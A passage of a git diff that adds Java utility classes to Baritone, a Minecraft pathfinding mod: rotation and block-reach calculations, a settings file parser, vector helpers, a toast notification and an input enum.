b/src/baritone/api/utils/RotationUtils.java new file mode 100644 index 00000000..7b0db6e5 --- /dev/null +++ b/src/baritone/api/utils/RotationUtils.java @@ -0,0 +1,290 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +import baritone.api.BaritoneAPI; +import baritone.api.IBaritone; +import net.minecraft.block.AbstractFireBlock; +import net.minecraft.block.BlockState; +import net.minecraft.client.entity.player.ClientPlayerEntity; +import net.minecraft.entity.Entity; +import net.minecraft.util.Direction; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.BlockRayTraceResult; +import net.minecraft.util.math.MathHelper; +import net.minecraft.util.math.RayTraceResult; +import net.minecraft.util.math.shapes.VoxelShape; +import net.minecraft.util.math.shapes.VoxelShapes; +import net.minecraft.util.math.vector.Vector3d; + +import java.util.Optional; + +/** + * @author Brady + * @since 9/25/2018 + */ +public final class RotationUtils { + + /** + * Constant that a degree value is multiplied by to get the equivalent radian value + */ + public static final double DEG_TO_RAD = Math.PI / 180.0; + + /** + * Constant that a radian value is multiplied by to get the equivalent degree value + */ + public static final double RAD_TO_DEG = 180.0 / Math.PI; + + /** + * Offsets from the root block position to the center of each side. + */ + private static final Vector3d[] BLOCK_SIDE_MULTIPLIERS = new Vector3d[]{ + new Vector3d(0.5, 0, 0.5), // Down + new Vector3d(0.5, 1, 0.5), // Up + new Vector3d(0.5, 0.5, 0), // North + new Vector3d(0.5, 0.5, 1), // South + new Vector3d(0, 0.5, 0.5), // West + new Vector3d(1, 0.5, 0.5) // East + }; + + private RotationUtils() {} + + /** + * Calculates the rotation from BlockPosdest to BlockPosorig + * + * @param orig The origin position + * @param dest The destination position + * @return The rotation from the origin to the destination + */ + public static Rotation calcRotationFromCoords(BlockPos orig, BlockPos dest) { + return calcRotationFromVec3d(new Vector3d(orig.getX(), orig.getY(), orig.getZ()), new Vector3d(dest.getX(), dest.getY(), dest.getZ())); + } + + /** + * Wraps the target angles to a relative value from the current angles. This is done by + * subtracting the current from the target, normalizing it, and then adding the current + * angles back to it. + * + * @param current The current angles + * @param target The target angles + * @return The wrapped angles + */ + public static Rotation wrapAnglesToRelative(Rotation current, Rotation target) { + if (current.yawIsReallyClose(target)) { + return new Rotation(current.getYaw(), target.getPitch()); + } + return target.subtract(current).normalize().add(current); + } + + /** + * Calculates the rotation from Vecdest to Vecorig and makes the + * return value relative to the specified current rotations. + * + * @param orig The origin position + * @param dest The destination position + * @param current The current rotations + * @return The rotation from the origin to the destination + * @see #wrapAnglesToRelative(Rotation, Rotation) + */ + public static Rotation calcRotationFromVec3d(Vector3d orig, Vector3d dest, Rotation current) { + return wrapAnglesToRelative(current, calcRotationFromVec3d(orig, dest)); + } + + /** + * Calculates the rotation from Vecdest to Vecorig + * + * @param orig The origin position + * @param dest The destination position + * @return The rotation from the origin to the destination + */ + private static Rotation calcRotationFromVec3d(Vector3d orig, Vector3d dest) { + double[] delta = {orig.x - dest.x, orig.y - dest.y, orig.z - dest.z}; + double yaw = MathHelper.atan2(delta[0], -delta[2]); + double dist = Math.sqrt(delta[0] * delta[0] + delta[2] * delta[2]); + double pitch = MathHelper.atan2(delta[1], dist); + return new Rotation( + (float) (yaw * RAD_TO_DEG), + (float) (pitch * RAD_TO_DEG) + ); + } + + /** + * Calculates the look vector for the specified yaw/pitch rotations. + * + * @param rotation The input rotation + * @return Look vector for the rotation + */ + public static Vector3d calcVector3dFromRotation(Rotation rotation) { + float f = MathHelper.cos(-rotation.getYaw() * (float) DEG_TO_RAD - (float) Math.PI); + float f1 = MathHelper.sin(-rotation.getYaw() * (float) DEG_TO_RAD - (float) Math.PI); + float f2 = -MathHelper.cos(-rotation.getPitch() * (float) DEG_TO_RAD); + float f3 = MathHelper.sin(-rotation.getPitch() * (float) DEG_TO_RAD); + return new Vector3d((double) (f1 * f2), (double) f3, (double) (f * f2)); + } + + /** + * @param ctx Context for the viewing entity + * @param pos The target block position + * @return The optional rotation + * @see #reachable(IPlayerContext, BlockPos, double) + */ + public static Optional reachable(IPlayerContext ctx, BlockPos pos) { + return reachable(ctx, pos, false); + } + + public static Optional reachable(IPlayerContext ctx, BlockPos pos, boolean wouldSneak) { + return reachable(ctx, pos, ctx.playerController().getBlockReachDistance(), wouldSneak); + } + + /** + * Determines if the specified entity is able to reach the center of any of the sides + * of the specified block. It first checks if the block center is reachable, and if so, + * that rotation will be returned. If not, it will return the first center of a given + * side that is reachable. The return type will be {@link Optional#empty()} if the entity is + * unable to reach any of the sides of the block. + * + * @param ctx Context for the viewing entity + * @param pos The target block position + * @param blockReachDistance The block reach distance of the entity + * @return The optional rotation + */ + public static Optional reachable(IPlayerContext ctx, BlockPos pos, double blockReachDistance) { + return reachable(ctx, pos, blockReachDistance, false); + } + + public static Optional reachable(IPlayerContext ctx, BlockPos pos, double blockReachDistance, boolean wouldSneak) { + if (BaritoneAPI.getSettings().remainWithExistingLookDirection.value && ctx.isLookingAt(pos)) { + /* + * why add 0.0001? + * to indicate that we actually have a desired pitch + * the way we indicate that the pitch can be whatever and we only care about the yaw + * is by setting the desired pitch to the current pitch + * setting the desired pitch to the current pitch + 0.0001 means that we do have a desired pitch, it's + * just what it currently is + * + * or if you're a normal person literally all this does it ensure that we don't nudge the pitch to a normal level + */ + Rotation hypothetical = ctx.playerRotations().add(new Rotation(0, 0.0001F)); + if (wouldSneak) { + // the concern here is: what if we're looking at it now, but as soon as we start sneaking we no longer are + RayTraceResult result = RayTraceUtils.rayTraceTowards(ctx.player(), hypothetical, blockReachDistance, true); + if (result != null && result.getType() == RayTraceResult.Type.BLOCK && ((BlockRayTraceResult) result).getPos().equals(pos)) { + return Optional.of(hypothetical); // yes, if we sneaked we would still be looking at the block + } + } else { + return Optional.of(hypothetical); + } + } + Optional possibleRotation = reachableCenter(ctx, pos, blockReachDistance, wouldSneak); + //System.out.println("center: " + possibleRotation); + if (possibleRotation.isPresent()) { + return possibleRotation; + } + + BlockState state = ctx.world().getBlockState(pos); + VoxelShape shape = state.getShape(ctx.world(), pos); + if (shape.isEmpty()) { + shape = VoxelShapes.fullCube(); + } + for (Vector3d sideOffset : BLOCK_SIDE_MULTIPLIERS) { + double xDiff = shape.getStart(Direction.Axis.X) * sideOffset.x + shape.getEnd(Direction.Axis.X) * (1 - sideOffset.x); + double yDiff = shape.getStart(Direction.Axis.Y) * sideOffset.y + shape.getEnd(Direction.Axis.Y) * (1 - sideOffset.y); + double zDiff = shape.getStart(Direction.Axis.Z) * sideOffset.z + shape.getEnd(Direction.Axis.Z) * (1 - sideOffset.z); + possibleRotation = reachableOffset(ctx, pos, new Vector3d(pos.getX(), pos.getY(), pos.getZ()).add(xDiff, yDiff, zDiff), blockReachDistance, wouldSneak); + if (possibleRotation.isPresent()) { + return possibleRotation; + } + } + return Optional.empty(); + } + + /** + * Determines if the specified entity is able to reach the specified block with + * the given offsetted position. The return type will be {@link Optional#empty()} if + * the entity is unable to reach the block with the offset applied. + * + * @param ctx Context for the viewing entity + * @param pos The target block position + * @param offsetPos The position of the block with the offset applied. + * @param blockReachDistance The block reach distance of the entity + * @return The optional rotation + */ + public static Optional reachableOffset(IPlayerContext ctx, BlockPos pos, Vector3d offsetPos, double blockReachDistance, boolean wouldSneak) { + Vector3d eyes = wouldSneak ? RayTraceUtils.inferSneakingEyePosition(ctx.player()) : ctx.player().getEyePosition(1.0F); + Rotation rotation = calcRotationFromVec3d(eyes, offsetPos, ctx.playerRotations()); + Rotation actualRotation = BaritoneAPI.getProvider().getBaritoneForPlayer(ctx.player()).getLookBehavior().getAimProcessor().peekRotation(rotation); + RayTraceResult result = RayTraceUtils.rayTraceTowards(ctx.player(), actualRotation, blockReachDistance, wouldSneak); + //System.out.println(result); + if (result != null && result.getType() == RayTraceResult.Type.BLOCK) { + if (((BlockRayTraceResult) result).getPos().equals(pos)) { + return Optional.of(rotation); + } + if (ctx.world().getBlockState(pos).getBlock() instanceof AbstractFireBlock && ((BlockRayTraceResult) result).getPos().equals(pos.down())) { + return Optional.of(rotation); + } + } + return Optional.empty(); + } + + /** + * Determines if the specified entity is able to reach the specified block where it is + * looking at the direct center of it's hitbox. + * + * @param ctx Context for the viewing entity + * @param pos The target block position + * @param blockReachDistance The block reach distance of the entity + * @return The optional rotation + */ + public static Optional reachableCenter(IPlayerContext ctx, BlockPos pos, double blockReachDistance, boolean wouldSneak) { + return reachableOffset(ctx, pos, VecUtils.calculateBlockCenter(ctx.world(), pos), blockReachDistance, wouldSneak); + } + + @Deprecated + public static Optional reachable(ClientPlayerEntity entity, BlockPos pos, double blockReachDistance) { + return reachable(entity, pos, blockReachDistance, false); + } + + @Deprecated + public static Optional reachable(ClientPlayerEntity entity, BlockPos pos, double blockReachDistance, boolean wouldSneak) { + IBaritone baritone = BaritoneAPI.getProvider().getBaritoneForPlayer(entity); + IPlayerContext ctx = baritone.getPlayerContext(); + return reachable(ctx, pos, blockReachDistance, wouldSneak); + } + + @Deprecated + public static Optional reachableOffset(Entity entity, BlockPos pos, Vector3d offsetPos, double blockReachDistance, boolean wouldSneak) { + Vector3d eyes = wouldSneak ? RayTraceUtils.inferSneakingEyePosition(entity) : entity.getEyePosition(1.0F); + Rotation rotation = calcRotationFromVec3d(eyes, offsetPos, new Rotation(entity.rotationYaw, entity.rotationPitch)); + RayTraceResult result = RayTraceUtils.rayTraceTowards(entity, rotation, blockReachDistance, wouldSneak); + //System.out.println(result); + if (result != null && result.getType() == RayTraceResult.Type.BLOCK) { + if (((BlockRayTraceResult) result).getPos().equals(pos)) { + return Optional.of(rotation); + } + if (entity.world.getBlockState(pos).getBlock() instanceof AbstractFireBlock && ((BlockRayTraceResult) result).getPos().equals(pos.down())) { + return Optional.of(rotation); + } + } + return Optional.empty(); + } + + @Deprecated + public static Optional reachableCenter(Entity entity, BlockPos pos, double blockReachDistance, boolean wouldSneak) { + return reachableOffset(entity, pos, VecUtils.calculateBlockCenter(entity.world, pos), blockReachDistance, wouldSneak); + } +} diff --git a/src/baritone/api/utils/SettingsUtil.java b/src/baritone/api/utils/SettingsUtil.java new file mode 100644 index 00000000..4bf80908 --- /dev/null +++ b/src/baritone/api/utils/SettingsUtil.java @@ -0,0 +1,356 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +import baritone.api.BaritoneAPI; +import baritone.api.Settings; +import net.minecraft.block.Block; +import net.minecraft.client.Minecraft; +import net.minecraft.item.Item; +import net.minecraft.util.Direction; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.math.vector.Vector3i; +import net.minecraft.util.registry.Registry; + +import java.awt.*; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.IOException; +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; +import java.nio.file.Files; +import java.nio.file.NoSuchFileException; +import java.nio.file.Path; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.function.Consumer; +import java.util.function.Function; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +public class SettingsUtil { + + public static final String SETTINGS_DEFAULT_NAME = "settings.txt"; + private static final Pattern SETTING_PATTERN = Pattern.compile("^(?[^ ]+) +(?.+)"); // key and value split by the first space + + + private static boolean isComment(String line) { + return line.startsWith("#") || line.startsWith("//"); + } + + private static void forEachLine(Path file, Consumer consumer) throws IOException { + try (BufferedReader scan = Files.newBufferedReader(file)) { + String line; + while ((line = scan.readLine()) != null) { + if (line.isEmpty() || isComment(line)) { + continue; + } + consumer.accept(line); + } + } + } + + public static void readAndApply(Settings settings, String settingsName) { + try { + forEachLine(settingsByName(settingsName), line -> { + Matcher matcher = SETTING_PATTERN.matcher(line); + if (!matcher.matches()) { + Helper.HELPER.logDirect("Invalid syntax in setting file: " + line); + return; + } + + String settingName = matcher.group("setting").toLowerCase(); + String settingValue = matcher.group("value"); + try { + parseAndApply(settings, settingName, settingValue); + } catch (Exception ex) { + Helper.HELPER.logDirect("Unable to parse line " + line); + ex.printStackTrace(); + } + }); + } catch (NoSuchFileException ignored) { + Helper.HELPER.logDirect("Baritone settings file not found, resetting."); + } catch (Exception ex) { + Helper.HELPER.logDirect("Exception while reading Baritone settings, some settings may be reset to default values!"); + ex.printStackTrace(); + } + } + + public static synchronized void save(Settings settings) { + try (BufferedWriter out = Files.newBufferedWriter(settingsByName(SETTINGS_DEFAULT_NAME))) { + for (Settings.Setting setting : modifiedSettings(settings)) { + out.write(settingToString(setting) + "\n"); + } + } catch (Exception ex) { + Helper.HELPER.logDirect("Exception thrown while saving Baritone settings!"); + ex.printStackTrace(); + } + } + + private static Path settingsByName(String name) { + return Minecraft.getInstance().gameDir.toPath().resolve("baritone").resolve(name); + } + + public static List modifiedSettings(Settings settings) { + List modified = new ArrayList<>(); + for (Settings.Setting setting : settings.allSettings) { + if (setting.value == null) { + System.out.println("NULL SETTING?" + setting.getName()); + continue; + } + if (setting.isJavaOnly()) { + continue; // NO + } + if (setting.value == setting.defaultValue) { + continue; + } + modified.add(setting); + } + return modified; + } + + /** + * Gets the type of a setting and returns it as a string, with package names stripped. + *

+ * For example, if the setting type is {@code java.util.List}, this function returns + * {@code List}. + * + * @param setting The setting + * @return The type + */ + public static String settingTypeToString(Settings.Setting setting) { + return setting.getType().getTypeName() + .replaceAll("(?:\\w+\\.)+(\\w+)", "$1"); + } + + public static String settingValueToString(Settings.Setting setting, T value) throws IllegalArgumentException { + Parser io = Parser.getParser(setting.getType()); + + if (io == null) { + throw new IllegalStateException("Missing " + setting.getValueClass() + " " + setting.getName()); + } + + return io.toString(new ParserContext(setting), value); + } + + public static String settingValueToString(Settings.Setting setting) throws IllegalArgumentException { + //noinspection unchecked + return settingValueToString(setting, setting.value); + } + + public static String settingDefaultToString(Settings.Setting setting) throws IllegalArgumentException { + //noinspection unchecked + return settingValueToString(setting, setting.defaultValue); + } + + public static String maybeCensor(int coord) { + if (BaritoneAPI.getSettings().censorCoordinates.value) { + return ""; + } + + return Integer.toString(coord); + } + + public static String settingToString(Settings.Setting setting) throws IllegalStateException { + if (setting.isJavaOnly()) { + return setting.getName(); + } + + return setting.getName() + " " + settingValueToString(setting); + } + + /** + * Deprecated. Use {@link Settings.Setting#isJavaOnly()} instead. + * + * @param setting The Setting + * @return true if the setting can not be set or read by the user + */ + @Deprecated + public static boolean javaOnlySetting(Settings.Setting setting) { + return setting.isJavaOnly(); + } + + public static void parseAndApply(Settings settings, String settingName, String settingValue) throws IllegalStateException, NumberFormatException { + Settings.Setting setting = settings.byLowerName.get(settingName); + if (setting == null) { + throw new IllegalStateException("No setting by that name"); + } + Class intendedType = setting.getValueClass(); + ISettingParser ioMethod = Parser.getParser(setting.getType()); + Object parsed = ioMethod.parse(new ParserContext(setting), settingValue); + if (!intendedType.isInstance(parsed)) { + throw new IllegalStateException(ioMethod + " parser returned incorrect type, expected " + intendedType + " got " + parsed + " which is " + parsed.getClass()); + } + setting.value = parsed; + } + + private interface ISettingParser { + + T parse(ParserContext context, String raw); + + String toString(ParserContext context, T value); + + boolean accepts(Type type); + } + + private static class ParserContext { + + private final Settings.Setting setting; + + private ParserContext(Settings.Setting setting) { + this.setting = setting; + } + + private Settings.Setting getSetting() { + return this.setting; + } + } + + private enum Parser implements ISettingParser { + + DOUBLE(Double.class, Double::parseDouble), + BOOLEAN(Boolean.class, Boolean::parseBoolean), + INTEGER(Integer.class, Integer::parseInt), + FLOAT(Float.class, Float::parseFloat), + LONG(Long.class, Long::parseLong), + STRING(String.class, String::new), + DIRECTION(Direction.class, Direction::byName), + COLOR( + Color.class, + str -> new Color(Integer.parseInt(str.split(",")[0]), Integer.parseInt(str.split(",")[1]), Integer.parseInt(str.split(",")[2])), + color -> color.getRed() + "," + color.getGreen() + "," + color.getBlue() + ), + VEC3I( + Vector3i.class, + str -> new Vector3i(Integer.parseInt(str.split(",")[0]), Integer.parseInt(str.split(",")[1]), Integer.parseInt(str.split(",")[2])), + vec -> vec.getX() + "," + vec.getY() + "," + vec.getZ() + ), + BLOCK( + Block.class, + str -> BlockUtils.stringToBlockRequired(str.trim()), + BlockUtils::blockToString + ), + ITEM( + Item.class, + str -> Registry.ITEM.getOrDefault(new ResourceLocation(str.trim())), // TODO this now returns AIR on failure instead of null, is that an issue? + item -> Registry.ITEM.getKey(item).toString() + ), + LIST() { + @Override + public Object parse(ParserContext context, String raw) { + Type type = ((ParameterizedType) context.getSetting().getType()).getActualTypeArguments()[0]; + Parser parser = Parser.getParser(type); + return Stream.of(raw.split(",")) + .map(s -> parser.parse(context, s)) + .collect(Collectors.toList()); + } + + @Override + public String toString(ParserContext context, Object value) { + Type type = ((ParameterizedType) context.getSetting().getType()).getActualTypeArguments()[0]; + Parser parser = Parser.getParser(type); + + return ((List) value).stream() + .map(o -> parser.toString(context, o)) + .collect(Collectors.joining(",")); + } + + @Override + public boolean accepts(Type type) { + return List.class.isAssignableFrom(TypeUtils.resolveBaseClass(type)); + } + }, + MAPPING() { + @Override + public Object parse(ParserContext context, String raw) { + Type keyType = ((ParameterizedType) context.getSetting().getType()).getActualTypeArguments()[0]; + Type valueType = ((ParameterizedType) context.getSetting().getType()).getActualTypeArguments()[1]; + Parser keyParser = Parser.getParser(keyType); + Parser valueParser = Parser.getParser(valueType); + + return Stream.of(raw.split(",(?=[^,]*->)")) + .map(s -> s.split("->")) + .collect(Collectors.toMap(s -> keyParser.parse(context, s[0]), s -> valueParser.parse(context, s[1]))); + } + + @Override + public String toString(ParserContext context, Object value) { + Type keyType = ((ParameterizedType) context.getSetting().getType()).getActualTypeArguments()[0]; + Type valueType = ((ParameterizedType) context.getSetting().getType()).getActualTypeArguments()[1]; + Parser keyParser = Parser.getParser(keyType); + Parser valueParser = Parser.getParser(valueType); + + return ((Map) value).entrySet().stream() + .map(o -> keyParser.toString(context, o.getKey()) + "->" + valueParser.toString(context, o.getValue())) + .collect(Collectors.joining(",")); + } + + @Override + public boolean accepts(Type type) { + return Map.class.isAssignableFrom(TypeUtils.resolveBaseClass(type)); + } + }; + + private final Class cla$$; + private final Function parser; + private final Function toString; + + Parser() { + this.cla$$ = null; + this.parser = null; + this.toString = null; + } + + Parser(Class cla$$, Function parser) { + this(cla$$, parser, Object::toString); + } + + Parser(Class cla$$, Function parser, Function toString) { + this.cla$$ = cla$$; + this.parser = parser::apply; + this.toString = x -> toString.apply((T) x); + } + + @Override + public Object parse(ParserContext context, String raw) { + Object parsed = this.parser.apply(raw); + Objects.requireNonNull(parsed); + return parsed; + } + + @Override + public String toString(ParserContext context, Object value) { + return this.toString.apply(value); + } + + @Override + public boolean accepts(Type type) { + return type instanceof Class && this.cla$$.isAssignableFrom((Class) type); + } + + public static Parser getParser(Type type) { + return Stream.of(values()) + .filter(parser -> parser.accepts(type)) + .findFirst().orElse(null); + } + } +} diff --git a/src/baritone/api/utils/TypeUtils.java b/src/baritone/api/utils/TypeUtils.java new file mode 100644 index 00000000..457cc449 --- /dev/null +++ b/src/baritone/api/utils/TypeUtils.java @@ -0,0 +1,44 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; + +/** + * @author Brady + * @since 4/20/2019 + */ +public final class TypeUtils { + + private TypeUtils() {} + + /** + * Resolves the "base type" for the specified type. For example, if the specified + * type is {@code List}, then {@code List.class} will be returned. If the + * specified type is already a class, then it is directly returned. + * + * @param type The type to resolve + * @return The base class + */ + public static Class resolveBaseClass(Type type) { + return type instanceof Class ? (Class) type + : type instanceof ParameterizedType ? (Class) ((ParameterizedType) type).getRawType() + : null; + } +} diff --git a/src/baritone/api/utils/VecUtils.java b/src/baritone/api/utils/VecUtils.java new file mode 100644 index 00000000..bd5c9555 --- /dev/null +++ b/src/baritone/api/utils/VecUtils.java @@ -0,0 +1,123 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +import net.minecraft.block.AbstractFireBlock; +import net.minecraft.block.BlockState; +import net.minecraft.entity.Entity; +import net.minecraft.util.Direction; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.shapes.VoxelShape; +import net.minecraft.util.math.vector.Vector3d; +import net.minecraft.world.World; + +/** + * @author Brady + * @since 10/13/2018 + */ +public final class VecUtils { + + private VecUtils() {} + + /** + * Calculates the center of the block at the specified position's bounding box + * + * @param world The world that the block is in, used to provide the bounding box + * @param pos The block position + * @return The center of the block's bounding box + * @see #getBlockPosCenter(BlockPos) + */ + public static Vector3d calculateBlockCenter(World world, BlockPos pos) { + BlockState b = world.getBlockState(pos); + VoxelShape shape = b.getCollisionShape(world, pos); + if (shape.isEmpty()) { + return getBlockPosCenter(pos); + } + double xDiff = (shape.getStart(Direction.Axis.X) + shape.getEnd(Direction.Axis.X)) / 2; + double yDiff = (shape.getStart(Direction.Axis.Y) + shape.getEnd(Direction.Axis.Y)) / 2; + double zDiff = (shape.getStart(Direction.Axis.Z) + shape.getEnd(Direction.Axis.Z)) / 2; + if (Double.isNaN(xDiff) || Double.isNaN(yDiff) || Double.isNaN(zDiff)) { + throw new IllegalStateException(b + " " + pos + " " + shape); + } + if (b.getBlock() instanceof AbstractFireBlock) {//look at bottom of fire when putting it out + yDiff = 0; + } + return new Vector3d( + pos.getX() + xDiff, + pos.getY() + yDiff, + pos.getZ() + zDiff + ); + } + + /** + * Gets the assumed center position of the given block position. + * This is done by adding 0.5 to the X, Y, and Z axes. + *

+ * TODO: We may want to consider replacing many usages of this method with #calculateBlockCenter(BlockPos) + * + * @param pos The block position + * @return The assumed center of the position + * @see #calculateBlockCenter(World, BlockPos) + */ + public static Vector3d getBlockPosCenter(BlockPos pos) { + return new Vector3d(pos.getX() + 0.5, pos.getY() + 0.5, pos.getZ() + 0.5); + } + + /** + * Gets the distance from the specified position to the assumed center of the specified block position. + * + * @param pos The block position + * @param x The x pos + * @param y The y pos + * @param z The z pos + * @return The distance from the assumed block center to the position + * @see #getBlockPosCenter(BlockPos) + */ + public static double distanceToCenter(BlockPos pos, double x, double y, double z) { + double xdiff = pos.getX() + 0.5 - x; + double ydiff = pos.getY() + 0.5 - y; + double zdiff = pos.getZ() + 0.5 - z; + return Math.sqrt(xdiff * xdiff + ydiff * ydiff + zdiff * zdiff); + } + + /** + * Gets the distance from the specified entity's position to the assumed + * center of the specified block position. + * + * @param entity The entity + * @param pos The block position + * @return The distance from the entity to the block's assumed center + * @see #getBlockPosCenter(BlockPos) + */ + public static double entityDistanceToCenter(Entity entity, BlockPos pos) { + return distanceToCenter(pos, entity.getPositionVec().x, entity.getPositionVec().y, entity.getPositionVec().z); + } + + /** + * Gets the distance from the specified entity's position to the assumed + * center of the specified block position, ignoring the Y axis. + * + * @param entity The entity + * @param pos The block position + * @return The horizontal distance from the entity to the block's assumed center + * @see #getBlockPosCenter(BlockPos) + */ + public static double entityFlatDistanceToCenter(Entity entity, BlockPos pos) { + return distanceToCenter(pos, entity.getPositionVec().x, pos.getY() + 0.5, entity.getPositionVec().z); + } +} diff --git a/src/baritone/api/utils/accessor/IItemStack.java b/src/baritone/api/utils/accessor/IItemStack.java new file mode 100644 index 00000000..22902779 --- /dev/null +++ b/src/baritone/api/utils/accessor/IItemStack.java @@ -0,0 +1,23 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils.accessor; + +public interface IItemStack { + + int getBaritoneHash(); +} diff --git a/src/baritone/api/utils/gui/BaritoneToast.java b/src/baritone/api/utils/gui/BaritoneToast.java new file mode 100644 index 00000000..a5d46bb6 --- /dev/null +++ b/src/baritone/api/utils/gui/BaritoneToast.java @@ -0,0 +1,80 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils.gui; + +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.blaze3d.platform.GlStateManager; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.toasts.IToast; +import net.minecraft.client.gui.toasts.ToastGui; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.text.ITextComponent; + +public class BaritoneToast implements IToast { + private String title; + private String subtitle; + private long firstDrawTime; + private boolean newDisplay; + private long totalShowTime; + + public BaritoneToast(ITextComponent titleComponent, ITextComponent subtitleComponent, long totalShowTime) { + this.title = titleComponent.getString(); + this.subtitle = subtitleComponent == null ? null : subtitleComponent.getString(); + this.totalShowTime = totalShowTime; + } + + public Visibility func_230444_a_(MatrixStack matrixStack, ToastGui toastGui, long delta) { + if (this.newDisplay) { + this.firstDrawTime = delta; + this.newDisplay = false; + } + + toastGui.getMinecraft().getTextureManager().bindTexture(new ResourceLocation("textures/gui/toasts.png")); + GlStateManager.color4f(1.0F, 1.0F, 1.0F, 255.0f); + toastGui.blit(matrixStack, 0, 0, 0, 32, 160, 32); + + if (this.subtitle == null) { + toastGui.getMinecraft().fontRenderer.drawString(matrixStack, this.title, 18, 12, -11534256); + } else { + toastGui.getMinecraft().fontRenderer.drawString(matrixStack, this.title, 18, 7, -11534256); + toastGui.getMinecraft().fontRenderer.drawString(matrixStack, this.subtitle, 18, 18, -16777216); + } + + return delta - this.firstDrawTime < totalShowTime ? Visibility.SHOW : Visibility.HIDE; + } + + public void setDisplayedText(ITextComponent titleComponent, ITextComponent subtitleComponent) { + this.title = titleComponent.getString(); + this.subtitle = subtitleComponent == null ? null : subtitleComponent.getString(); + this.newDisplay = true; + } + + public static void addOrUpdate(ToastGui toast, ITextComponent title, ITextComponent subtitle, long totalShowTime) { + BaritoneToast baritonetoast = toast.getToast(BaritoneToast.class, new Object()); + + if (baritonetoast == null) { + toast.add(new BaritoneToast(title, subtitle, totalShowTime)); + } else { + baritonetoast.setDisplayedText(title, subtitle); + } + } + + public static void addOrUpdate(ITextComponent title, ITextComponent subtitle) { + addOrUpdate(Minecraft.getInstance().getToastGui(), title, subtitle, baritone.api.BaritoneAPI.getSettings().toastTimer.value); + } +} diff --git a/src/baritone/api/utils/input/Input.java b/src/baritone/api/utils/input/Input.java new file mode 100644 index 00000000..c44f3352 --- /dev/null +++ b/src/baritone/api/utils/input/Input.java @@ -0,0 +1,71 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils.input; + +/** + * An {@link Enum} representing the inputs that control the player's + * behavior. This includes moving, interacting with blocks, jumping, + * sneaking, and sprinting. + */ +public enum Input { + + /** + * The move forward input + */ + MOVE_FORWARD, + + /** + * The move back input + */ + MOVE_BACK, + + /** + * The move left input + */ + MOVE_LEFT, + + /** + * The move right input + */ + MOVE_RIGHT, + + /** + * The attack input + */ + CLICK_LEFT, + + /** + * The use item input + */ + CLICK_RIGHT, + + /** + * The jump input + */ + JUMP, + + /** + * The sneak input + */ + SNEAK, + + /** + * The sprint input + */ + SPRINT +} diff --git 